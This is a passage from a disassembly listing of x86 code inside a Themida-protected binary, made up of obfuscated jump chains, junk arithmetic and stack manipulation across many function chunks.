		sub	ebx, eax
		push	ecx
		mov	ecx, 186377F7h
		jmp	loc_589F53
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58E367:				; CODE XREF: Themida_:0058EDBEj
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 0
		add	eax, ebx
		push	ebx
		mov	bh, dh
		jmp	loc_58CAF5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58E37D:				; CODE XREF: sub_585452+218Dj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp-4+arg_0]
		pop	esp
		jmp	loc_589319
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58E391:				; CODE XREF: Themida_:0058DBD8j
		pop	eax
		mov	ah, bh
		pop	ebx
		pop	edx
		jmp	loc_589F86
; ---------------------------------------------------------------------------


loc_58E39B:				; CODE XREF: Themida_:0058D3B2j
		add	ecx, 5B21758h
		sub	ecx, 599B250Ch
		add	ecx, 47CC24EFh
		add	ecx, ebx
		sub	ecx, 47CC24EFh
		jmp	loc_58AB37
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E1AF


loc_58E3BA:				; CODE XREF: sub_58E1AF-384Bj
		add	eax, 72FD63CBh
		not	eax
		not	eax
		inc	eax
		shr	eax, 6
		add	eax, 0FCEDC8EDh
		add	edx, eax
		pop	eax
		jmp	loc_589E29
; END OF FUNCTION CHUNK	FOR sub_58E1AF
; ---------------------------------------------------------------------------


loc_58E3D4:				; CODE XREF: Themida_:0058D8C1j
		mov	esp, [esp]
		rol	byte ptr [esp],	cl
		pushf
		jmp	loc_583C20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58E3E0:				; CODE XREF: sub_585452+4AE5j
		mov	esp, [esp+42h+var_44+2]
		or	byte ptr [esp+42h+var_44+2], al
		pushf
		jmp	loc_583C20
; ---------------------------------------------------------------------------


loc_58E3EC:				; CODE XREF: sub_585452+5892j
		push	ebx
		sub	esp, 4
		jmp	loc_58412D
; ---------------------------------------------------------------------------


loc_58E3F8:				; CODE XREF: sub_585452+3A44j
		add	ebp, ecx
		pop	ecx
		jmp	loc_58C0C4
; ---------------------------------------------------------------------------


loc_58E400:				; CODE XREF: sub_585452+7027j
		inc	al
		jmp	loc_58FEC2
; ---------------------------------------------------------------------------


loc_58E407:				; CODE XREF: sub_585452+4A3j
		add	esp, 4
		sub	[esp+46h+var_44+2], 44C76C89h
		add	[esp+46h+var_44+2], esi
		push	edi
		mov	edi, 44C76C89h
		add	[esp+4Ah+var_44+2], edi
		jmp	loc_58CAB8
; ---------------------------------------------------------------------------


loc_58E428:				; CODE XREF: sub_585452+1D4Ej
		mov	ecx, 4
		push	edx
		mov	edx, 46A118C9h
		sub	esi, edx
		jmp	loc_584EDA
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EFBD


loc_58E43A:				; CODE XREF: sub_58EFBD-AA44j
		dec	ebx
		shl	ebx, 2
		jmp	loc_5885A2
; END OF FUNCTION CHUNK	FOR sub_58EFBD
; ---------------------------------------------------------------------------


loc_58E443:				; CODE XREF: Themida_:00584087j
		pop	ecx
		push	esi
		mov	esi, 0E7619B8h
		and	esi, 665F0D76h
		not	esi
		sub	esi, 0F9A9F6CBh
		sub	ecx, 30FF18A6h
		add	ecx, 3C577C8Ah
		add	ecx, esi
		jmp	loc_5883A3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58E46B:				; CODE XREF: sub_585452+33Dj
		mov	esi, 4
		jmp	loc_586EF1
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58E475:				; CODE XREF: Themida_:00586D87j
		pop	edx
		add	esp, 4
		jmp	loc_58D138
; ---------------------------------------------------------------------------


loc_58E481:				; CODE XREF: Themida_:0058E955j
		pop	eax
		jmp	loc_58486A
; ---------------------------------------------------------------------------


loc_58E487:				; CODE XREF: Themida_:0058C2DAj
		push	small word ptr [esp+2]
		pop	si
		pop	small word ptr [esp]
		push	small 329Dh
		mov	[esp], si
		xchg	di, [esp]
		jmp	loc_588A0A
; ---------------------------------------------------------------------------


loc_58E4A3:				; CODE XREF: Themida_:0058A312j
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	6334h
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 0
		mov	ebx, edx
		pop	edx
		add	ebx, 56FE2765h
		sub	ebx, 4E0B7835h
		jmp	loc_58C3E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58E4D3:				; CODE XREF: sub_585452-88j
		mov	[esp+0], ebx
		mov	ebx, esi
		push	ebx
		jmp	loc_5866AA
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58E4DE:				; CODE XREF: Themida_:0058DE45j
		add	ebx, edx
		add	ebx, 74E30356h
		pop	edx
		add	ebx, 4F620E08h
		jmp	loc_58A14E
; ---------------------------------------------------------------------------


loc_58E4F2:				; CODE XREF: Themida_:00589038j
		xchg	ecx, [esp]
		pop	esp
		push	edx
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		push	eax
		mov	eax, 4
		add	[esp+4], eax
		pop	eax
		pop	edx
		add	edx, 4
		add	edx, 4
		push	edx
		jmp	loc_587935
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58622C


loc_58E51C:				; CODE XREF: sub_58622C+Ej
		push	edx
		mov	edx, 254F180Ch
		jmp	loc_585414
; END OF FUNCTION CHUNK	FOR sub_58622C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58E527:				; CODE XREF: sub_585452-1100j
		xchg	edx, [esp-4+arg_0]
		mov	esp, [esp-4+arg_0]
		mov	[esp-4+arg_0], ecx
		push	esi
		push	5BB50949h
		pop	esi
		xchg	eax, esi
		neg	eax
		push	esi
		jmp	loc_5872DD
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58E540:				; CODE XREF: Themida_:0058FDC8j
		push	ebx
		jmp	loc_58D6E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58E546:				; CODE XREF: sub_585452+AB06j
		inc	dh
		push	ebx
		jmp	loc_58650F
; ---------------------------------------------------------------------------


loc_58E54E:				; CODE XREF: sub_585452+9EE0j
		pop	edi
		add	ebp, 339B5EF1h
		push	ebp
		jmp	loc_58682C
; ---------------------------------------------------------------------------


loc_58E55B:				; CODE XREF: sub_585452+182Aj
		or	esi, 5C1329E0h
		xor	esi, 5DBB79E3h
		add	edx, esi
		pop	esi
		xchg	edx, [esp+0Ah+var_C+2]
		mov	esp, [esp+0Ah+var_C+2]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+0Eh+var_10+2]
		pop	esp
		mov	[esp+0Ah+var_C+2], edx
		push	ebx
		jmp	loc_587FFB
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EFBD


loc_58E589:				; CODE XREF: sub_58EFBD-7E77j
		and	ecx, 73645464h
		xor	ecx, 34DC05F8h
		sub	ecx, 24FC1594h
		mov	edx, ecx
		pop	ecx
		add	eax, edx
		pop	edx
		xor	eax, [esp+0]
		xor	[esp+0], eax
		jmp	loc_5864D5
; END OF FUNCTION CHUNK	FOR sub_58EFBD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58E5AC:				; CODE XREF: sub_585452+7554j
		or	eax, 48CE0C9Bh
		xor	eax, 4BF66F06h
		shr	eax, 2
		shr	eax, 5
		jmp	loc_58C0AE
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58E5C1:				; CODE XREF: Themida_:00584603j
		xchg	edx, [esp]
		pop	esp
		jmp	loc_5851F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58E5CA:				; CODE XREF: sub_585452+249j
		mov	[esp-16h+arg_12], eax
		push	ebx
		push	edx
		mov	dh, 5
		mov	bh, dh
		jmp	loc_583C9F
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58FA66


loc_58E5D8:				; CODE XREF: sub_58FA66-34B0j
		add	ecx, 352D783Ah
		jmp	loc_58AFCD
; END OF FUNCTION CHUNK	FOR sub_58FA66
; ---------------------------------------------------------------------------


loc_58E5E3:				; CODE XREF: Themida_:00586C0Ej
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_587FCE
; ---------------------------------------------------------------------------


loc_58E5EC:				; CODE XREF: Themida_:005875D4j
		mov	dx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 2
		jmp	loc_58D4E7
; ---------------------------------------------------------------------------


loc_58E601:				; CODE XREF: Themida_:0058EB83j
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	small 86Dh
		pop	dx
		add	dx, 11C3h
		add	dx, 1
		not	dx
		dec	dx
		not	dx
		jmp	loc_5876D2
; ---------------------------------------------------------------------------


loc_58E635:				; CODE XREF: Themida_:0058790Bj
		mov	cl, 43h
		jmp	loc_58BAF1
; ---------------------------------------------------------------------------


loc_58E63C:				; CODE XREF: Themida_:005868E4j
		sub	edi, 0B309CB63h
		add	esi, edi
		pop	edi
		add	esi, eax
		push	eax
		jmp	loc_585A68
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58E64D:				; CODE XREF: sub_585452+2FECj
		mov	[esp+0Ch+var_C], esi
		sub	[esp+0Ch+var_C], 48A6431Eh
		pop	eax
		jmp	loc_58467B
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58E65D:				; CODE XREF: Themida_:0058C3A3j
		sub	ebx, 0FFFFFFFFh
		jmp	loc_5854F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58E668:				; CODE XREF: sub_585452+5C13j
		add	esp, 4
		add	edx, 4
		add	edx, 4
		push	edx
		push	[esp+0Ah+var_8+2]
		pop	edx
		pop	[esp+0Ah+var_C+2]
		pop	esp
		push	[esp+2+var_4+2]
		push	[esp+6+var_8+2]
		mov	edx, [esp+0Ah+var_C+2]
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		mov	[esp+6+var_8+2], esi
		jmp	sub_58A5A3
; ---------------------------------------------------------------------------


loc_58E69B:				; CODE XREF: sub_585452+68FCj
		sub	al, 0A7h
		add	al, bl
		add	al, 0A7h
		sub	al, 0A1h
		jmp	loc_58846C
; ---------------------------------------------------------------------------


loc_58E6A8:				; CODE XREF: sub_585452+E74j
		add	ebx, 258F67E9h
		sub	ebx, eax
		push	edx
		jmp	sub_5877DD
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58E6B6:				; CODE XREF: Themida_:0058A5D6j
		sub	edi, 6CB3046Ch
		pop	edx
		jmp	loc_58899C

; =============== S U B	R O U T	I N E =======================================



sub_58E6C2	proc near		; CODE XREF: sub_585452+291j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00586CA7 SIZE 00000030 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebp
		sub	esp, 4
		jmp	loc_586CA7
sub_58E6C2	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58E6D0:				; CODE XREF: sub_585452+1B56j
		push	eax
		mov	eax, 4
		jmp	loc_586DCC
; ---------------------------------------------------------------------------


loc_58E6DB:				; CODE XREF: sub_585452-55Ej
		add	esp, 4
		pop	[esp-32h+arg_2C+2]
		pop	esp
		push	eax
		mov	eax, esp
		push	1847h
		mov	[esp-32h+arg_2C+2], edx
		push	4
		pop	edx
		add	eax, 2C3F4A5Ch
		jmp	loc_58941A
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
		sub	esp, 4
		jmp	loc_58E268
; ---------------------------------------------------------------------------


loc_58E70B:				; CODE XREF: Themida_:005876D3j
		mov	cx, 2635h
		jmp	loc_5852F1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58E714:				; CODE XREF: sub_585452+43E0j
		add	ebp, 4
		xchg	ebp, [esp+2+var_4+2]
		pop	esp
		add	[esp-2+arg_0+2], esi
		pop	esi
		jmp	loc_583C20
; ---------------------------------------------------------------------------


loc_58E728:				; CODE XREF: sub_585452+20D4j
		mov	[esp-4+arg_0], ebp
		jmp	loc_584103
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58E730:				; CODE XREF: Themida_:00589435j
		push	eax
		push	edx
		mov	dh, 0A0h
		jmp	loc_58BDF3
; ---------------------------------------------------------------------------


loc_58E739:				; CODE XREF: Themida_:0058BD2Cj
		pop	ebp
		add	ebx, 95D58805h
		jmp	loc_58E8B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58E745:				; CODE XREF: sub_585452+4617j
		push	4D9Bh
		jmp	loc_58D417
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58A170


loc_58E74F:				; CODE XREF: sub_58A170-31EEj
		inc	dh
		jmp	loc_5848D6
; END OF FUNCTION CHUNK	FOR sub_58A170
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58E756:				; CODE XREF: sub_585452+77A9j
		pop	edx
		push	edi
		push	[esp-14h+arg_12+2]
		jmp	loc_5855C0
; END OF FUNCTION CHUNK	FOR sub_585452

; =============== S U B	R O U T	I N E =======================================



sub_58E761	proc near		; CODE XREF: sub_585452+3CEBj

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0058644C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00586748 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00587E29 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058A9F6 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058AB20 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058B536 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058DF87 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058EA9D SIZE 00000012 BYTES

		sub	esp, 4
		mov	[esp+8+var_8], esi
		mov	esi, 2FD70D95h
		xor	esi, 2FD70D97h
		mov	ebx, esi
		jmp	loc_58644C
sub_58E761	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58E779:				; CODE XREF: sub_585452+587Ej
		pop	ebp
		pop	[esp+0Eh+var_10+2]
		jmp	loc_588106
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585019


loc_58E782:				; CODE XREF: sub_585019+5D32j
		or	eax, eax
		jz	loc_587C9E
		push	dword ptr [edi+1Ch]
		jmp	loc_586281
; END OF FUNCTION CHUNK	FOR sub_585019
; ---------------------------------------------------------------------------


loc_58E792:				; CODE XREF: Themida_:00584A5Ej
		sub	al, bl
		jmp	loc_588E9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58E799:				; CODE XREF: sub_585452+21C0j
		push	31D9h
		mov	[esp+0Ah+var_C+2], ebx
		push	[esp+0Ah+var_C+2]
		pop	eax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	735Ch
		mov	[esp+12h+var_14+2], edx
		mov	edx, 6FC22B8Ch
		inc	edx
		xor	edx, 32E75B41h
		jmp	loc_586DFA
; ---------------------------------------------------------------------------


loc_58E7C7:				; CODE XREF: sub_585452+14DEj
		mov	[esp+46h+var_48+2], ebp
		push	7517h
		mov	[esp+4Ah+var_4C+2], esp
		add	[esp+4Ah+var_4C+2], 4
		jmp	loc_58FCAE
; ---------------------------------------------------------------------------


loc_58E7DE:				; CODE XREF: sub_585452+5BDj
		pop	esp
		mov	word ptr [esp+4Eh+var_50+2], cx
		jmp	loc_586A54
; ---------------------------------------------------------------------------


loc_58E7E8:				; CODE XREF: sub_585452-91Fj
		push	dword ptr [esp+0]
		pop	eax
		add	esp, 4
		jmp	loc_589D8F
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_589967


loc_58E7F4:				; CODE XREF: sub_589967-F9Ej
		pop	ebp
		add	ebp, 4
		push	esi
		mov	esi, 4
		add	ebp, esi
		jmp	loc_58664B
; END OF FUNCTION CHUNK	FOR sub_589967
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58AB18


loc_58E808:				; CODE XREF: sub_58AB18+218Dj
		pop	esi
		push	ecx
		mov	ecx, 58B95684h
		xor	ecx, 22AD0D04h
		add	edi, ecx
		pop	ecx
		sub	edi, 41700BC5h
		sub	edi, esi
		jmp	loc_58CB99
; END OF FUNCTION CHUNK	FOR sub_58AB18
; ---------------------------------------------------------------------------


loc_58E825:				; CODE XREF: Themida_:00589CB2j
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_5888C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_589967


loc_58E830:				; CODE XREF: sub_589967+5567j
		pop	esp
		jmp	loc_58817C
; END OF FUNCTION CHUNK	FOR sub_589967
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58960C


loc_58E836:				; CODE XREF: sub_58960C-5727j
		pop	esi
		add	ebx, eax
		push	esi
		mov	esi, 335C6A95h
		xor	esi, 3E9C5395h
		add	ebx, 2A497914h
		sub	ebx, esi
		sub	ebx, 2A497914h
		pop	esi
		jmp	loc_589261
; END OF FUNCTION CHUNK	FOR sub_58960C
; ---------------------------------------------------------------------------


loc_58E859:				; CODE XREF: Themida_:0058995Bj
		pop	edi
		xchg	edi, ebx
		jmp	loc_584BAD
; ---------------------------------------------------------------------------


loc_58E861:				; CODE XREF: Themida_:0058E979j
		mov	ebx, 5FE51DDAh
		mov	edi, ebx
		pop	ebx
		jmp	loc_58F304
; ---------------------------------------------------------------------------


loc_58E86E:				; CODE XREF: Themida_:0058D3A7j
		add	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_58F549
; ---------------------------------------------------------------------------


loc_58E87B:				; CODE XREF: Themida_:00585EE5j
		xor	ecx, [esp]
		mov	esp, [esp]
		shl	byte ptr [esp],	cl
		pushf
		jmp	loc_587D77
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		push	ebp
		mov	ebp, 18A54DE4h
		not	ebp
		push	eax
		mov	eax, 7AD576BFh
		shr	eax, 5
		add	eax, 432B5F10h
		sub	ebp, eax
		push	dword ptr [esp]
		jmp	loc_588DE2
; ---------------------------------------------------------------------------


loc_58E8B9:				; CODE XREF: Themida_:0058E740j
		add	eax, ebx
		pop	ebx
		push	487Dh
		mov	[esp], edx
		jmp	loc_586573
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58E8C9:				; CODE XREF: sub_585452+578j
		add	[esp+52h+var_54+2], 4
		push	[esp+52h+var_54+2]
		pop	ecx
		add	esp, 4
		add	ecx, 4
		push	eax
		mov	eax, 2
		add	ecx, eax
		pop	eax
		xor	ecx, [esp+4Eh+var_50+2]
		xor	[esp+4Eh+var_50+2], ecx
		xor	ecx, [esp+4Eh+var_50+2]
		mov	esp, [esp+4Eh+var_50+2]
		jmp	loc_58D786
; ---------------------------------------------------------------------------


loc_58E8F7:				; CODE XREF: sub_585452+6B90j
		add	esp, 4
		jmp	loc_584CB3
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58E8FF:				; CODE XREF: Themida_:00588B6Fj
		mov	ebp, 4
		jmp	loc_58596F
; ---------------------------------------------------------------------------


loc_58E909:				; CODE XREF: Themida_:0058AB43j
		pop	ebx
		sub	esp, 4
		jmp	loc_588A91
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58FA66


loc_58E912:				; CODE XREF: sub_58FA66-5D2Bj
		xor	eax, ebp
		jmp	loc_589151
; END OF FUNCTION CHUNK	FOR sub_58FA66
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58E919:				; CODE XREF: sub_585452+227Bj
		push	6DDh
		mov	[esp-0Ch+arg_8], ebp
		mov	ebp, esp
		jmp	loc_58BE27
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58E928:				; CODE XREF: Themida_:0058D5D3j
		add	[esp], eax
		pushf
		jmp	loc_587444

; =============== S U B	R O U T	I N E =======================================



sub_58E931	proc near		; CODE XREF: sub_585452+53E2j
					; sub_585452+A882j

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00583CC6 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00584633 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005846F5 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00584F38 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00585107 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00588FBA SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058A53A SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0058CC2E SIZE 00000009 BYTES

		push	ebx
		push	edx
		mov	edx, 56E060Ah
		jmp	loc_58A53A
sub_58E931	endp

; ---------------------------------------------------------------------------


loc_58E93D:				; CODE XREF: Themida_:0058943Cj
		push	ecx
		mov	ecx, 22705FC7h
		mov	ebx, 0C7508F00h
		xor	ebx, ecx
		pop	ecx
		mov	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	ebp, eax
		jmp	loc_58E481
; ---------------------------------------------------------------------------


loc_58E95A:				; CODE XREF: Themida_:0058967Cj
		xchg	edi, [esp]
		pop	esp
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	eax
		mov	eax, esp
		push	49C6h
		jmp	loc_58C32B
; ---------------------------------------------------------------------------


loc_58E977:				; CODE XREF: Themida_:0058DE0Dj
		push	edi
		push	ebx
		jmp	loc_58E861
; ---------------------------------------------------------------------------


loc_58E97E:				; CODE XREF: Themida_:005873E0j
		add	ecx, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		sar	dword ptr [esp], cl
		pushf
		jmp	loc_58F247
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58960C


loc_58E9A3:				; CODE XREF: sub_58960C+485Bj
		neg	esi
		or	esi, 33BF54ECh
		sub	esi, 2B8A1FBFh
		xor	eax, esi
		pop	esi
		push	3B0Eh
		mov	[esp+0], ecx
		mov	ecx, 502059FEh
		push	edx
		jmp	loc_587A59
; END OF FUNCTION CHUNK	FOR sub_58960C
; ---------------------------------------------------------------------------


loc_58E9C7:				; CODE XREF: Themida_:00586F11j
		add	esp, 4
		jmp	loc_584DEC
; ---------------------------------------------------------------------------


loc_58E9D2:				; CODE XREF: Themida_:005847FDj
		push	ecx
		jmp	loc_589BA9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EFBD


loc_58E9D8:				; CODE XREF: sub_58EFBD-2FF0j
		shr	edx, 1
		cmp	eax, edx
		jz	loc_589F94
		push	ebp
		push	edx
		mov	edx, 15122A2Dh
		shl	edx, 2
		sub	edx, 45CF282Eh
		xor	edx, 511E97D0h
		mov	ebp, edx
		push	dword ptr [esp+0]
		pop	edx
		jmp	loc_58DF05
; END OF FUNCTION CHUNK	FOR sub_58EFBD
; ---------------------------------------------------------------------------


loc_58EA03:				; CODE XREF: Themida_:00589A46j
		pop	ecx
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_584BBB
; ---------------------------------------------------------------------------


loc_58EA0D:				; CODE XREF: Themida_:0058C730j
		sub	edi, edx
		pop	edx
		neg	edi
		dec	edi
		not	edi
		inc	edi
		or	edi, 0A3E5C7Ch
		sub	edi, 0A07AC2A6h
		dec	edi
		add	edi, 58B8590Eh
		xor	edi, 28595C65h
		jmp	loc_58CD59

; =============== S U B	R O U T	I N E =======================================



sub_58EA34	proc near		; CODE XREF: sub_585452+1F8j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00586188 SIZE 00000091 BYTES
; FUNCTION CHUNK AT 005896DD SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058A925 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058B8C6 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0058C29A SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058CFC1 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058E009 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058FDB9 SIZE 00000005 BYTES

		push	ebx
		sub	esp, 4
		mov	[esp+8+var_8], esp
		jmp	loc_58B8C6
sub_58EA34	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58999B


loc_58EA40:				; CODE XREF: sub_58999B+4589j
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp+0]
		mov	eax, [esp+0]
		push	ecx
		mov	ecx, esp
		jmp	loc_5886AA
; END OF FUNCTION CHUNK	FOR sub_58999B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58EA54:				; CODE XREF: sub_585452+3EBAj
		mov	[esp+0Eh+var_10+2], eax
		jmp	loc_583C20
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58EA5C:				; CODE XREF: Themida_:005865B8j
		pop	edx
		jmp	loc_58AC27
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58EA62:				; CODE XREF: sub_585452+40Ej
		mov	eax, 41E64AD5h
		xor	eax, 41E64AD1h
		add	ebp, 3FF320CEh
		add	ebp, eax
		sub	ebp, 3FF320CEh
		pop	eax
		add	ebp, 4
		jmp	loc_585658
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58EA83:				; CODE XREF: Themida_:00583DCCj
		pop	ecx
		add	ebp, 8DDDA8A6h
		add	eax, ebp
		mov	ebp, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_58CCDF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E761


loc_58EA9D:				; CODE XREF: sub_58E761-7D4j
		add	esp, 4
		add	esi, 4
		push	ebx
		jmp	loc_58A9F6
; END OF FUNCTION CHUNK	FOR sub_58E761
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58EAAF:				; CODE XREF: sub_585452+5945j
		shl	ah, 3
		xor	ah, 52h
		sub	dh, ah
		pop	eax
		shl	dh, 6
		sub	dh, 8Eh
		add	dh, 1
		add	dh, 48h
		add	bl, 79h
		add	bl, dh
		sub	bl, 79h
		pop	edx
		pop	eax
		jmp	loc_5877B0
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58EAD3:				; CODE XREF: Themida_:00588326j
		xchg	ebx, [esp]
		mov	esp, [esp]
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_58F996
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D28B


loc_58EAE4:				; CODE XREF: sub_58D28B-8F4Ej
		mov	esp, [esp-8+arg_4]
		push	edi
		sub	esp, 4
		mov	[esp+0], esp
		jmp	loc_58A395
; END OF FUNCTION CHUNK	FOR sub_58D28B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58EAF6:				; CODE XREF: sub_585452+4510j
		pop	eax
		mov	ch, 65h
		add	ch, dh
		mov	edx, [esp+0Eh+var_10+2]
		add	esp, 4
		shl	ch, 5
		neg	ch
		dec	ch
		add	ch, 27h
		jmp	loc_584641
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58EB10:				; CODE XREF: Themida_:0058C4ACj
		push	esp
		pop	edx
		add	edx, 4
		jmp	loc_58B43F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58EB1D:				; CODE XREF: sub_585452+A501j
		and	edx, 0C9979AEh
		push	ebp
		mov	ebp, 3FAD08EEh
		sub	ebp, 3AED19A5h
		jmp	loc_58CBE6
; ---------------------------------------------------------------------------


loc_58EB34:				; CODE XREF: sub_585452+A8D8j
		add	esp, 4
		xor	ebx, eax
		jmp	loc_584F41
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EFBD


loc_58EB41:				; CODE XREF: sub_58EFBD-3660j
		sub	ebx, 435A3D4Bh
		add	ebx, edi
		push	ebp
		mov	ebp, 167A71E6h
		and	ebp, 3B303367h
		add	ebp, 312A0BE5h
		add	ebx, ebp
		pop	ebp
